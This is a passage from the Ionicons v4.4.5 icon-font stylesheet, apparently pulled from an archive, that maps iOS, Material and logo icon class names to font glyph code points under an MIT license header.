efore{content:"\f2e1"}.ion-md-done-all:before{content:"\f2e2"}.ion-md-download:before{content:"\f2e3"}.ion-md-easel:before{content:"\f2e4"}.ion-md-egg:before{content:"\f2e5"}.ion-md-exit:before{content:"\f2e6"}.ion-md-expand:before{content:"\f2e7"}.ion-md-eye:before{content:"\f2e9"}.ion-md-eye-off:before{content:"\f2e8"}.ion-md-fastforward:before{content:"\f2ea"}.ion-md-female:before{content:"\f2eb"}.ion-md-filing:before{content:"\f2ec"}.ion-md-film:before{content:"\f2ed"}.ion-md-finger-print:before{content:"\f2ee"}.ion-md-fitness:before{content:"\f1ac"}.ion-md-flag:before{content:"\f2ef"}.ion-md-flame:before{content:"\f2f0"}.ion-md-flash:before{content:"\f2f1"}.ion-md-flash-off:before{content:"\f169"}.ion-md-flashlight:before{content:"\f16b"}.ion-md-flask:before{content:"\f2f2"}.ion-md-flower:before{content:"\f2f3"}.ion-md-folder:before{content:"\f2f5"}.ion-md-folder-open:before{content:"\f2f4"}.ion-md-football:before{content:"\f2f6"}.ion-md-funnel:before{content:"\f2f7"}.ion-md-gift:before{content:"\f199"}.ion-md-git-branch:before{content:"\f2fa"}.ion-md-git-commit:before{content:"\f2fb"}.ion-md-git-compare:before{content:"\f2fc"}.ion-md-git-merge:before{content:"\f2fd"}.ion-md-git-network:before{content:"\f2fe"}.ion-md-git-pull-request:before{content:"\f2ff"}.ion-md-glasses:before{content:"\f300"}.ion-md-globe:before{content:"\f301"}.ion-md-grid:before{content:"\f302"}.ion-md-hammer:before{content:"\f303"}.ion-md-hand:before{content:"\f304"}.ion-md-happy:before{content:"\f305"}.ion-md-headset:before{content:"\f306"}.ion-md-heart:before{content:"\f308"}.ion-md-heart-dislike:before{content:"\f167"}.ion-md-heart-empty:before{content:"\f1a1"}.ion-md-heart-half:before{content:"\f1a2"}.ion-md-help:before{content:"\f30b"}.ion-md-help-buoy:before{content:"\f309"}.ion-md-help-circle:before{content:"\f30a"}.ion-md-help-circle-outline:before{content:"\f16d"}.ion-md-home:before{content:"\f30c"}.ion-md-hourglass:before{content:"\f111"}.ion-md-ice-cream:before{content:"\f30d"}.ion-md-image:before{content:"\f30e"}.ion-md-images:before{content:"\f30f"}.ion-md-infinite:before{content:"\f310"}.ion-md-information:before{content:"\f312"}.ion-md-information-circle:before{content:"\f311"}.ion-md-information-circle-outline:before{content:"\f16f"}.ion-md-jet:before{content:"\f315"}.ion-md-journal:before{content:"\f18d"}.ion-md-key:before{content:"\f316"}.ion-md-keypad:before{content:"\f317"}.ion-md-laptop:before{content:"\f318"}.ion-md-leaf:before{content:"\f319"}.ion-md-link:before{content:"\f22e"}.ion-md-list:before{content:"\f31b"}.ion-md-list-box:before{content:"\f31a"}.ion-md-locate:before{content:"\f31c"}.ion-md-lock:before{content:"\f31d"}.ion-md-log-in:before{content:"\f31e"}.ion-md-log-out:before{content:"\f31f"}.ion-md-magnet:before{content:"\f320"}.ion-md-mail:before{content:"\f322"}.ion-md-mail-open:before{content:"\f321"}.ion-md-mail-unread:before{content:"\f172"}.ion-md-male:before{content:"\f323"}.ion-md-man:before{content:"\f324"}.ion-md-map:before{content:"\f325"}.ion-md-medal:before{content:"\f326"}.ion-md-medical:before{content:"\f327"}.ion-md-medkit:before{content:"\f328"}.ion-md-megaphone:before{content:"\f329"}.ion-md-menu:before{content:"\f32a"}.ion-md-mic:before{content:"\f32c"}.ion-md-mic-off:before{content:"\f32b"}.ion-md-microphone:before{content:"\f32d"}.ion-md-moon:before{content:"\f32e"}.ion-md-more:before{content:"\f1c9"}.ion-md-move:before{content:"\f331"}.ion-md-musical-note:before{content:"\f332"}.ion-md-musical-notes:before{content:"\f333"}.ion-md-navigate:before{content:"\f334"}.ion-md-notifications:before{content:"\f338"}.ion-md-notifications-off:before{content:"\f336"}.ion-md-notifications-outline:before{content:"\f337"}.ion-md-nuclear:before{content:"\f339"}.ion-md-nutrition:before{content:"\f33a"}.ion-md-open:before{content:"\f33b"}.ion-md-options:before{content:"\f33c"}.ion-md-outlet:before{content:"\f33d"}.ion-md-paper:before{content:"\f33f"}.ion-md-paper-plane:before{content:"\f33e"}.ion-md-partly-sunny:before{content:"\f340"}.ion-md-pause:before{content:"\f341"}.ion-md-paw:before{content:"\f342"}.ion-md-people:before{content:"\f343"}.ion-md-person:before{content:"\f345"}.ion-md-person-add:before{content:"\f344"}.ion-md-phone-landscape:before{content:"\f346"}.ion-md-phone-portrait:before{content:"\f347"}.ion-md-photos:before{content:"\f348"}.ion-md-pie:before{content:"\f349"}.ion-md-pin:before{content:"\f34a"}.ion-md-pint:before{content:"\f34b"}.ion-md-pizza:before{content:"\f354"}.ion-md-planet:before{content:"\f356"}.ion-md-play:before{content:"\f357"}.ion-md-play-circle:before{content:"\f174"}.ion-md-podium:before{content:"\f358"}.ion-md-power:before{content:"\f359"}.ion-md-pricetag:before{content:"\f35a"}.ion-md-pricetags:before{content:"\f35b"}.ion-md-print:before{content:"\f35c"}.ion-md-pulse:before{content:"\f35d"}.ion-md-qr-scanner:before{content:"\f35e"}.ion-md-quote:before{content:"\f35f"}.ion-md-radio:before{content:"\f362"}.ion-md-radio-button-off:before{content:"\f360"}.ion-md-radio-button-on:before{content:"\f361"}.ion-md-rainy:before{content:"\f363"}.ion-md-recording:before{content:"\f364"}.ion-md-redo:before{content:"\f365"}.ion-md-refresh:before{content:"\f366"}.ion-md-refresh-circle:before{content:"\f228"}.ion-md-remove:before{content:"\f368"}.ion-md-remove-circle:before{content:"\f367"}.ion-md-remove-circle-outline:before{content:"\f176"}.ion-md-reorder:before{content:"\f369"}.ion-md-repeat:before{content:"\f36a"}.ion-md-resize:before{content:"\f36b"}.ion-md-restaurant:before{content:"\f36c"}.ion-md-return-left:before{content:"\f36d"}.ion-md-return-right:before{content:"\f36e"}.ion-md-reverse-camera:before{content:"\f36f"}.ion-md-rewind:before{content:"\f370"}.ion-md-ribbon:before{content:"\f371"}.ion-md-rocket:before{content:"\f179"}.ion-md-rose:before{content:"\f372"}.ion-md-sad:before{content:"\f373"}.ion-md-save:before{content:"\f1a9"}.ion-md-school:before{content:"\f374"}.ion-md-search:before{content:"\f375"}.ion-md-send:before{content:"\f376"}.ion-md-settings:before{content:"\f377"}.ion-md-share:before{content:"\f379"}.ion-md-share-alt:before{content:"\f378"}.ion-md-shirt:before{content:"\f37a"}.ion-md-shuffle:before{content:"\f37b"}.ion-md-skip-backward:before{content:"\f37c"}.ion-md-skip-forward:before{content:"\f37d"}.ion-md-snow:before{content:"\f37e"}.ion-md-speedometer:before{content:"\f37f"}.ion-md-square:before{content:"\f381"}.ion-md-square-outline:before{content:"\f380"}.ion-md-star:before{content:"\f384"}.ion-md-star-half:before{content:"\f382"}.ion-md-star-outline:before{content:"\f383"}.ion-md-stats:before{content:"\f385"}.ion-md-stopwatch:before{content:"\f386"}.ion-md-subway:before{content:"\f387"}.ion-md-sunny:before{content:"\f388"}.ion-md-swap:before{content:"\f389"}.ion-md-switch:before{content:"\f38a"}.ion-md-sync:before{content:"\f38b"}.ion-md-tablet-landscape:before{content:"\f38c"}.ion-md-tablet-portrait:before{content:"\f38d"}.ion-md-tennisball:before{content:"\f38e"}.ion-md-text:before{content:"\f38f"}.ion-md-thermometer:before{content:"\f390"}.ion-md-thumbs-down:before{content:"\f391"}.ion-md-thumbs-up:before{content:"\f392"}.ion-md-thunderstorm:before{content:"\f393"}.ion-md-time:before{content:"\f394"}.ion-md-timer:before{content:"\f395"}.ion-md-today:before{content:"\f17d"}.ion-md-train:before{content:"\f396"}.ion-md-transgender:before{content:"\f397"}.ion-md-trash:before{content:"\f398"}.ion-md-trending-down:before{content:"\f399"}.ion-md-trending-up:before{content:"\f39a"}.ion-md-trophy:before{content:"\f39b"}.ion-md-tv:before{content:"\f17f"}.ion-md-umbrella:before{content:"\f39c"}.ion-md-undo:before{content:"\f39d"}.ion-md-unlock:before{content:"\f39e"}.ion-md-videocam:before{content:"\f39f"}.ion-md-volume-high:before{content:"\f123"}.ion-md-volume-low:before{content:"\f131"}.ion-md-volume-mute:before{content:"\f3a1"}.ion-md-volume-off:before{content:"\f3a2"}.ion-md-walk:before{content:"\f3a4"}.ion-md-wallet:before{content:"\f18f"}.ion-md-warning:before{content:"\f3a5"}.ion-md-watch:before{content:"\f3a6"}.ion-md-water:before{content:"\f3a7"}.ion-md-wifi:before{content:"\f3a8"}.ion-md-wine:before{content:"\f3a9"}.ion-md-woman:before{content:"\f3aa"}
css/ionicons-core.css000064400000111717151701353760010635 0ustar00@charset "UTF-8";
/*!
  Ionicons, v4.4.5
  Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
  https://twitter.com/benjsperry  https://twitter.com/ionicframework
  MIT License: https://github.com/driftyco/ionicons

  Android-style icons originally built by Google’s
  Material Design Icons: https://github.com/google/material-design-icons
  used under CC BY http://creativecommons.org/licenses/by/4.0/
  Modified icons to fit ionicon’s grid from original.
*/
.ion-ios-add:before {
  content: "\f102";
}

.ion-ios-add-circle:before {
  content: "\f101";
}

.ion-ios-add-circle-outline:before {
  content: "\f100";
}

.ion-ios-airplane:before {
  content: "\f137";
}

.ion-ios-alarm:before {
  content: "\f3c8";
}

.ion-ios-albums:before {
  content: "\f3ca";
}

.ion-ios-alert:before {
  content: "\f104";
}

.ion-ios-american-football:before {
  content: "\f106";
}

.ion-ios-analytics:before {
  content: "\f3ce";
}

.ion-ios-aperture:before {
  content: "\f108";
}

.ion-ios-apps:before {
  content: "\f10a";
}

.ion-ios-appstore:before {
  content: "\f10c";
}

.ion-ios-archive:before {
  content: "\f10e";
}

.ion-ios-arrow-back:before {
  content: "\f3cf";
}

.ion-ios-arrow-down:before {
  content: "\f3d0";
}

.ion-ios-arrow-dropdown:before {
  content: "\f110";
}

.ion-ios-arrow-dropdown-circle:before {
  content: "\f125";
}

.ion-ios-arrow-dropleft:before {
  content: "\f112";
}

.ion-ios-arrow-dropleft-circle:before {
  content: "\f129";
}

.ion-ios-arrow-dropright:before {
  content: "\f114";
}

.ion-ios-arrow-dropright-circle:before {
  content: "\f12b";
}

.ion-ios-arrow-dropup:before {
  content: "\f116";
}

.ion-ios-arrow-dropup-circle:before {
  content: "\f12d";
}

.ion-ios-arrow-forward:before {
  content: "\f3d1";
}

.ion-ios-arrow-round-back:before {
  content: "\f117";
}

.ion-ios-arrow-round-down:before {
  content: "\f118";
}

.ion-ios-arrow-round-forward:before {
  content: "\f119";
}

.ion-ios-arrow-round-up:before {
  content: "\f11a";
}

.ion-ios-arrow-up:before {
  content: "\f3d8";
}

.ion-ios-at:before {
  content: "\f3da";
}

.ion-ios-attach:before {
  content: "\f11b";
}

.ion-ios-backspace:before {
  content: "\f11d";
}

.ion-ios-barcode:before {
  content: "\f3dc";
}

.ion-ios-baseball:before {
  content: "\f3de";
}

.ion-ios-basket:before {
  content: "\f11f";
}

.ion-ios-basketball:before {
  content: "\f3e0";
}

.ion-ios-battery-charging:before {
  content: "\f120";
}

.ion-ios-battery-dead:before {
  content: "\f121";
}

.ion-ios-battery-full:before {
  content: "\f122";
}

.ion-ios-beaker:before {
  content: "\f124";
}

.ion-ios-bed:before {
  content: "\f139";
}

.ion-ios-beer:before {
  content: "\f126";
}

.ion-ios-bicycle:before {
  content: "\f127";
}

.ion-ios-bluetooth:before {
  content: "\f128";
}

.ion-ios-boat:before {
  content: "\f12a";
}

.ion-ios-body:before {
  content: "\f3e4";
}

.ion-ios-bonfire:before {
  content: "\f12c";
}

.ion-ios-book:before {
  content: "\f3e8";
}

.ion-ios-bookmark:before {
  content: "\f12e";
}

.ion-ios-bookmarks:before {
  content: "\f3ea";
}

.ion-ios-bowtie:before {
  content: "\f130";
}

.ion-ios-briefcase:before {
  content: "\f3ee";
}

.ion-ios-browsers:before {
  content: "\f3f0";
}

.ion-ios-brush:before {
  content: "\f132";
}

.ion-ios-bug:before {
  content: "\f134";
}

.ion-ios-build:before {
  content: "\f136";
}

.ion-ios-bulb:before {
  content: "\f138";
}

.ion-ios-bus:before {
  content: "\f13a";
}

.ion-ios-business:before {
  content: "\f1a3";
}

.ion-ios-cafe:before {
  content: "\f13c";
}

.ion-ios-calculator:before {
  content: "\f3f2";
}

.ion-ios-calendar:before {
  content: "\f3f4";
}

.ion-ios-call:before {
  content: "\f13e";
}

.ion-ios-camera:before {
  content: "\f3f6";
}

.ion-ios-car:before {
  content: "\f140";
}

.ion-ios-card:before {
  content: "\f142";
}

.ion-ios-cart:before {
  content: "\f3f8";
}

.ion-ios-cash:before {
  content: "\f144";
}

.ion-ios-cellular:before {
  content: "\f13d";
}

.ion-ios-chatboxes:before {
  content: "\f3fa";
}

.ion-ios-chatbubbles:before {
  content: "\f146";
}

.ion-ios-checkbox:before {
  content: "\f148";
}

.ion-ios-checkbox-outline:before {
  content: "\f147";
}

.ion-ios-checkmark:before {
  content: "\f3ff";
}

.ion-ios-checkmark-circle:before {
  content: "\f14a";
}

.ion-ios-checkmark-circle-outline:before {
  content: "\f149";
}

.ion-ios-clipboard:before {
  content: "\f14c";
}

.ion-ios-clock:before {
  content: "\f403";
}

.ion-ios-close:before {
  content: "\f406";
}

.ion-ios-close-circle:before {
  content: "\f14e";
}

.ion-ios-close-circle-outline:before {
  content: "\f14d";
}

.ion-ios-cloud:before {
  content: "\f40c";
}

.ion-ios-cloud-circle:before {
  content: "\f152";
}

.ion-ios-cloud-done:before {
  content: "\f154";
}

.ion-ios-cloud-download:before {
  content: "\f408";
}

.ion-ios-cloud-outline:before {
  content: "\f409";
}

.ion-ios-cloud-upload:before {
  content: "\f40b";
}

.ion-ios-cloudy:before {
  content: "\f410";
}

.ion-ios-cloudy-night:before {
  content: "\f40e";
}

.ion-ios-code:before {
  content: "\f157";
}

.ion-ios-code-download:before {
  content: "\f155";
}

.ion-ios-code-working:before {
  content: "\f156";
}

.ion-ios-cog:before {
  content: "\f412";
}

.ion-ios-color-fill:before {
  content: "\f159";
}

.ion-ios-color-filter:before {
  content: "\f414";
}

.ion-ios-color-palette:before {
  content: "\f15b";
}

.ion-ios-color-wand:before {
  content: "\f416";
}

.ion-ios-compass:before {
  content: "\f15d";
}

.ion-ios-construct:before {
  content: "\f15f";
}

.ion-ios-contact:before {
  content: "\f41a";
}

.ion-ios-contacts:before {
  content: "\f161";
}

.ion-ios-contract:before {
  content: "\f162";
}

.ion-ios-contrast:before {
  content: "\f163";
}

.ion-ios-copy:before {
  content: "\f41c";
}

.ion-ios-create:before {
  content: "\f165";
}

.ion-ios-crop:before {
  content: "\f41e";
}

.ion-ios-cube:before {
  content: "\f168";
}

.ion-ios-cut:before {
  content: "\f16a";
}

.ion-ios-desktop:before {
  content: "\f16c";
}

.ion-ios-disc:before {
  content: "\f16e";
}

.ion-ios-document:before {
  content: "\f170";
}

.ion-ios-done-all:before {
  content: "\f171";
}

.ion-ios-download:before {
  content: "\f420";
}

.ion-ios-easel:before {
  content: "\f173";
}

.ion-ios-egg:before {
  content: "\f175";
}

.ion-ios-exit:before {
  content: "\f177";
}

.ion-ios-expand:before {
  content: "\f178";
}

.ion-ios-eye:before {
  content: "\f425";
}

.ion-ios-eye-off:before {
  content: "\f17a";
}

.ion-ios-fastforward:before {
  content: "\f427";
}

.ion-ios-female:before {
  content: "\f17b";
}

.ion-ios-filing:before {
  content: "\f429";
}

.ion-ios-film:before {
  content: "\f42b";
}

.ion-ios-finger-print:before {
  content: "\f17c";
}

.ion-ios-fitness:before {
  content: "\f1ab";
}

.ion-ios-flag:before {
  content: "\f42d";
}

.ion-ios-flame:before {
  content: "\f42f";
}

.ion-ios-flash:before {
  content: "\f17e";
}

.ion-ios-flash-off:before {
  content: "\f12f";
}

.ion-ios-flashlight:before {
  content: "\f141";
}

.ion-ios-flask:before {
  content: "\f431";
}

.ion-ios-flower:before {
  content: "\f433";
}

.ion-ios-folder:before {
  content: "\f435";
}

.ion-ios-folder-open:before {
  content: "\f180";
}

.ion-ios-football:before {
  content: "\f437";
}

.ion-ios-funnel:before {
  content: "\f182";
}

.ion-ios-gift:before {
  content: "\f191";
}

.ion-ios-git-branch:before {
  content: "\f183";
}

.ion-ios-git-commit:before {
  content: "\f184";
}

.ion-ios-git-compare:before {
  content: "\f185";
}

.ion-ios-git-merge:before {
  content: "\f186";
}

.ion-ios-git-network:before {
  content: "\f187";
}

.ion-ios-git-pull-request:before {
  content: "\f188";
}

.ion-ios-glasses:before {
  content: "\f43f";
}

.ion-ios-globe:before {
  content: "\f18a";
}

.ion-ios-grid:before {
  content: "\f18c";
}

.ion-ios-hammer:before {
  content: "\f18e";
}

.ion-ios-hand:before {
  content: "\f190";
}

.ion-ios-happy:before {
  content: "\f192";
}

.ion-ios-headset:before {
  content: "\f194";
}

.ion-ios-heart:before {
  content: "\f443";
}

.ion-ios-heart-dislike:before {
  content: "\f13f";
}

.ion-ios-heart-empty:before {
  content: "\f19b";
}

.ion-ios-heart-half:before {
  content: "\f19d";
}

.ion-ios-help:before {
  content: "\f446";
}

.ion-ios-help-buoy:before {
  content: "\f196";
}

.ion-ios-help-circle:before {
  content: "\f198";
}

.ion-ios-help-circle-outline:before {
  content: "\f197";
}

.ion-ios-home:before {
  content: "\f448";
}

.ion-ios-hourglass:before {
  content: "\f103";
}

.ion-ios-ice-cream:before {
  content: "\f19a";
}

.ion-ios-image:before {
  content: "\f19c";
}

.ion-ios-images:before {
  content: "\f19e";
}

.ion-ios-infinite:before {
  content: "\f44a";
}

.ion-ios-information:before {
  content: "\f44d";
}

.ion-ios-information-circle:before {
  content: "\f1a0";
}

.ion-ios-information-circle-outline:before {
  content: "\f19f";
}

.ion-ios-jet:before {
  content: "\f1a5";
}

.ion-ios-journal:before {
  content: "\f189";
}

.ion-ios-key:before {
  content: "\f1a7";
}

.ion-ios-keypad:before {
  content: "\f450";
}

.ion-ios-laptop:before {
  content: "\f1a8";
}

.ion-ios-leaf:before {
  content: "\f1aa";
}

.ion-ios-link:before {
  content: "\f22a";
}

.ion-ios-list:before {
  content: "\f454";
}

.ion-ios-list-box:before {
  content: "\f143";
}

.ion-ios-locate:before {
  content: "\f1ae";
}

.ion-ios-lock:before {
  content: "\f1b0";
}

.ion-ios-log-in:before {
  content: "\f1b1";
}

.ion-ios-log-out:before {
  content: "\f1b2";
}

.ion-ios-magnet:before {
  content: "\f1b4";
}

.ion-ios-mail:before {
  content: "\f1b8";
}

.ion-ios-mail-open:before {
  content: "\f1b6";
}

.ion-ios-mail-unread:before {
  content: "\f145";
}

.ion-ios-male:before {
  content: "\f1b9";
}

.ion-ios-man:before {
  content: "\f1bb";
}

.ion-ios-map:before {
  content: "\f1bd";
}

.ion-ios-medal:before {
  content: "\f1bf";
}

.ion-ios-medical:before {
  content: "\f45c";
}

.ion-ios-medkit:before {
  content: "\f45e";
}

.ion-ios-megaphone:before {
  content: "\f1c1";
}

.ion-ios-menu:before {
  content: "\f1c3";
}

.ion-ios-mic:before {
  content: "\f461";
}

.ion-ios-mic-off:before {
  content: "\f45f";
}

.ion-ios-microphone:before {
  content: "\f1c6";
}

.ion-ios-moon:before {
  content: "\f468";
}

.ion-ios-more:before {
  content: "\f1c8";
}

.ion-ios-move:before {
  content: "\f1cb";
}

.ion-ios-musical-note:before {
  content: "\f46b";
}

.ion-ios-musical-notes:before {
  content: "\f46c";
}

.ion-ios-navigate:before {
  content: "\f46e";
}

.ion-ios-notifications:before {
  content: "\f1d3";
}

.ion-ios-notifications-off:before {
  content: "\f1d1";
}

.ion-ios-notifications-outline:before {
  content: "\f133";
}

.ion-ios-nuclear:before {
  content: "\f1d5";
}

.ion-ios-nutrition:before {
  content: "\f470";
}

.ion-ios-open:before {
  content: "\f1d7";
}

.ion-ios-options:before {
  content: "\f1d9";
}

.ion-ios-outlet:before {
  content: "\f1db";
}

.ion-ios-paper:before {
  content: "\f472";
}

.ion-ios-paper-plane:before {
  content: "\f1dd";
}

.ion-ios-partly-sunny:before {
  content: "\f1df";
}

.ion-ios-pause:before {
  content: "\f478";
}

.ion-ios-paw:before {
  content: "\f47a";
}

.ion-ios-people:before {
  content: "\f47c";
}

.ion-ios-person:before {
  content: "\f47e";
}

.ion-ios-person-add:before {
  content: "\f1e1";
}

.ion-ios-phone-landscape:before {
  content: "\f1e2";
}

.ion-ios-phone-portrait:before {
  content: "\f1e3";
}

.ion-ios-photos:before {
  content: "\f482";
}

.ion-ios-pie:before {
  content: "\f484";
}

.ion-ios-pin:before {
  content: "\f1e5";
}

.ion-ios-pint:before {
  content: "\f486";
}

.ion-ios-pizza:before {
  content: "\f1e7";
}

.ion-ios-planet:before {
  content: "\f1eb";
}

.ion-ios-play:before {
  content: "\f488";
}

.ion-ios-play-circle:before {
  content: "\f113";
}

.ion-ios-podium:before {
  content: "\f1ed";
}

.ion-ios-power:before {
  content: "\f1ef";
}

.ion-ios-pricetag:before {
  content: "\f48d";
}

.ion-ios-pricetags:before {
  content: "\f48f";
}

.ion-ios-print:before {
  content: "\f1f1";
}

.ion-ios-pulse:before {
  content: "\f493";
}

.ion-ios-qr-scanner:before {
  content: "\f1f3";
}

.ion-ios-quote:before {
  content: "\f1f5";
}

.ion-ios-radio:before {
  content: "\f1f9";
}

.ion-ios-radio-button-off:before {
  content: "\f1f6";
}

.ion-ios-radio-button-on:before {
  content: "\f1f7";
}

.ion-ios-rainy:before {
  content: "\f495";
}

.ion-ios-recording:before {
  content: "\f497";
}

.ion-ios-redo:before {
  content: "\f499";
}

.ion-ios-refresh:before {
  content: "\f49c";
}

.ion-ios-refresh-circle:before {
  content: "\f135";
}

.ion-ios-remove:before {
  content: "\f1fc";
}

.ion-ios-remove-circle:before {
  content: "\f1fb";
}

.ion-ios-remove-circle-outline:before {
  content: "\f1fa";
}

.ion-ios-reorder:before {
  content: "\f1fd";
}

.ion-ios-repeat:before {
  content: "\f1fe";
}

.ion-ios-resize:before {
  content: "\f1ff";
}

.ion-ios-restaurant:before {
  content: "\f201";
}

.ion-ios-return-left:before {
  content: "\f202";
}

.ion-ios-return-right:before {
  content: "\f203";
}

.ion-ios-reverse-camera:before {
  content: "\f49f";
}

.ion-ios-rewind:before {
  content: "\f4a1";
}

.ion-ios-ribbon:before {
  content: "\f205";
}

.ion-ios-rocket:before {
  content: "\f14b";
}

.ion-ios-rose:before {
  content: "\f4a3";
}

.ion-ios-sad:before {
  content: "\f207";
}

.ion-ios-save:before {
  content: "\f1a6";
}

.ion-ios-school:before {
  content: "\f209";
}

.ion-ios-search:before {
  content: "\f4a5";
}

.ion-ios-send:before {
  content: "\f20c";
}

.ion-ios-settings:before {
  content: "\f4a7";
}

.ion-ios-share:before {
  content: "\f211";
}

.ion-ios-share-alt:before {
  content: "\f20f";
}

.ion-ios-shirt:before {
  content: "\f213";
}

.ion-ios-shuffle:before {
  content: "\f4a9";
}

.ion-ios-skip-backward:before {
  content: "\f215";
}

.ion-ios-skip-forward:before {
  content: "\f217";
}

.ion-ios-snow:before {
  content: "\f218";
}

.ion-ios-speedometer:before {
  content: "\f4b0";
}

.ion-ios-square:before {
  content: "\f21a";
}

.ion-ios-square-outline:before {
  content: "\f15c";
}

.ion-ios-star:before {
  content: "\f4b3";
}

.ion-ios-star-half:before {
  content: "\f4b1";
}

.ion-ios-star-outline:before {
  content: "\f4b2";
}

.ion-ios-stats:before {
  content: "\f21c";
}

.ion-ios-stopwatch:before {
  content: "\f4b5";
}

.ion-ios-subway:before {
  content: "\f21e";
}

.ion-ios-sunny:before {
  content: "\f4b7";
}

.ion-ios-swap:before {
  content: "\f21f";
}

.ion-ios-switch:before {
  content: "\f221";
}

.ion-ios-sync:before {
  content: "\f222";
}

.ion-ios-tablet-landscape:before {
  content: "\f223";
}

.ion-ios-tablet-portrait:before {
  content: "\f24e";
}

.ion-ios-tennisball:before {
  content: "\f4bb";
}

.ion-ios-text:before {
  content: "\f250";
}

.ion-ios-thermometer:before {
  content: "\f252";
}

.ion-ios-thumbs-down:before {
  content: "\f254";
}

.ion-ios-thumbs-up:before {
  content: "\f256";
}

.ion-ios-thunderstorm:before {
  content: "\f4bd";
}

.ion-ios-time:before {
  content: "\f4bf";
}

.ion-ios-timer:before {
  content: "\f4c1";
}

.ion-ios-today:before {
  content: "\f14f";
}

.ion-ios-train:before {
  content: "\f258";
}

.ion-ios-transgender:before {
  content: "\f259";
}

.ion-ios-trash:before {
  content: "\f4c5";
}

.ion-ios-trending-down:before {
  content: "\f25a";
}

.ion-ios-trending-up:before {
  content: "\f25b";
}

.ion-ios-trophy:before {
  content: "\f25d";
}

.ion-ios-tv:before {
  content: "\f115";
}

.ion-ios-umbrella:before {
  content: "\f25f";
}

.ion-ios-undo:before {
  content: "\f4c7";
}

.ion-ios-unlock:before {
  content: "\f261";
}

.ion-ios-videocam:before {
  content: "\f4cd";
}

.ion-ios-volume-high:before {
  content: "\f11c";
}

.ion-ios-volume-low:before {
  content: "\f11e";
}

.ion-ios-volume-mute:before {
  content: "\f263";
}

.ion-ios-volume-off:before {
  content: "\f264";
}

.ion-ios-walk:before {
  content: "\f266";
}

.ion-ios-wallet:before {
  content: "\f18b";
}

.ion-ios-warning:before {
  content: "\f268";
}

.ion-ios-watch:before {
  content: "\f269";
}

.ion-ios-water:before {
  content: "\f26b";
}

.ion-ios-wifi:before {
  content: "\f26d";
}

.ion-ios-wine:before {
  content: "\f26f";
}

.ion-ios-woman:before {
  content: "\f271";
}

.ion-logo-android:before {
  content: "\f225";
}

.ion-logo-angular:before {
  content: "\f227";
}

.ion-logo-apple:before {
  content: "\f229";
}

.ion-logo-bitbucket:before {
  content: "\f193";
}

.ion-logo-bitcoin:before {
  content: "\f22b";
}

.ion-logo-buffer:before {
  content: "\f22d";
}

.ion-logo-chrome:before {
  content: "\f22f";
}

.ion-logo-closed-captioning:before {
  content: "\f105";
}

.ion-logo-codepen:before {
  content: "\f230";
}

.ion-logo-css3:before {
  content: "\f231";
}

.ion-logo-designernews:before {
  content: "\f232";
}

.ion-logo-dribbble:before {
  content: "\f233";
}

.ion-logo-dropbox:before {
  content: "\f234";
}

.ion-logo-euro:before {
  content: "\f235";
}

.ion-logo-facebook:before {
  content: "\f236";
}

.ion-logo-flickr:before {
  content: "\f107";
}

.ion-logo-foursquare:before {
  content: "\f237";
}

.ion-logo-freebsd-devil:before {
  content: "\f238";
}

.ion-logo-game-controller-a:before {
  content: "\f13b";
}

.ion-logo-game-controller-b:before {
  content: "\f181";
}

.ion-logo-github:before {
  content: "\f239";
}

.ion-logo-google:before {
  content: "\f23a";
}

.ion-logo-googleplus:before {
  content: "\f23b";
}

.ion-logo-hackernews:before {
  content: "\f23c";
}

.ion-logo-html5:before {
  content: "\f23d";
}

.ion-logo-instagram:before {
  content: "\f23e";
}

.ion-logo-ionic:before {
  content: "\f150";
}

.ion-logo-ionitron:before {
  content: "\f151";
}

.ion-logo-javascript:before {
  content: "\f23f";
}

.ion-logo-linkedin:before {
  content: "\f240";
}

.ion-logo-markdown:before {
  content: "\f241";
}

.ion-logo-model-s:before {
  content: "\f153";
}

.ion-logo-no-smoking:before {
  content: "\f109";
}

.ion-logo-nodejs:before {
  content: "\f242";
}

.ion-logo-npm:before {
  content: "\f195";
}

.ion-logo-octocat:before {
  content: "\f243";
}

.ion-logo-pinterest:before {
  content: "\f244";
}

.ion-logo-playstation:before {
  content: "\f245";
}

.ion-logo-polymer:before {
  content: "\f15e";
}

.ion-logo-python:before {
  content: "\f246";
}

.ion-logo-reddit:before {
  content: "\f247";
}

.ion-logo-rss:before {
  content: "\f248";
}

.ion-logo-sass:before {
  content: "\f249";
}

.ion-logo-skype:before {
  content: "\f24a";
}

.ion-logo-slack:before {
  content: "\f10b";
}

.ion-logo-snapchat:before {
  content: "\f24b";
}

.ion-logo-steam:before {
  content: "\f24c";
}

.ion-logo-tumblr:before {
  content: "\f24d";
}

.ion-logo-tux:before {
  content: "\f2ae";
}

.ion-logo-twitch:before {
  content: "\f2af";
}

.ion-logo-twitter:before {
  content: "\f2b0";
}

.ion-logo-usd:before {
  content: "\f2b1";
}

.ion-logo-vimeo:before {
  content: "\f2c4";
}

.ion-logo-vk:before {
  content: "\f10d";
}

.ion-logo-whatsapp:before {
  content: "\f2c5";
}

.ion-logo-windows:before {
  content: "\f32f";
}

.ion-logo-wordpress:before {
  content: "\f330";
}

.ion-logo-xbox:before {
  content: "\f34c";
}

.ion-logo-xing:before {
  content: "\f10f";
}

.ion-logo-yahoo:before {
  content: "\f34d";
}

.ion-logo-yen:before {
  content: "\f34e";
}

.ion-logo-youtube:before {
  content: "\f34f";
}

.ion-md-add:before {
  content: "\f273";
}

.ion-md-add-circle:before {
  content: "\f272";
}

.ion-md-add-circle-outline:before {
  content: "\f158";
}

.ion-md-airplane:before {
  content: "\f15a";
}

.ion-md-alarm:before {
  content: "\f274";
}

.ion-md-albums:before {
  content: "\f275";
}

.ion-md-alert:before {
  content: "\f276";
}

.ion-md-american-football:before {
  content: "\f277";
}

.ion-md-analytics:before {
  content: "\f278";
}

.ion-md-aperture:before {
  content: "\f279";
}

.ion-md-apps:before {
  content: "\f27a";
}

.ion-md-appstore:before {
  content: "\f27b";
}

.ion-md-archive:before {
  content: "\f27c";
}

.ion-md-arrow-back:before {
  content: "\f27d";
}

.ion-md-arrow-down:before {
  content: "\f27e";
}

.ion-md-arrow-dropdown:before {
  content: "\f280";
}

.ion-md-arrow-dropdown-circle:before {
  content: "\f27f";
}

.ion-md-arrow-dropleft:before {
  content: "\f282";
}

.ion-md-arrow-dropleft-circle:before {
  content: "\f281";
}

.ion-md-arrow-dropright:before {
  content: "\f284";
}

.ion-md-arrow-dropright-circle:before {
  content: "\f283";
}

.ion-md-arrow-dropup:before {
  content: "\f286";
}

.ion-md-arrow-dropup-circle:before {
  content: "\f285";
}

.ion-md-arrow-forward:before {
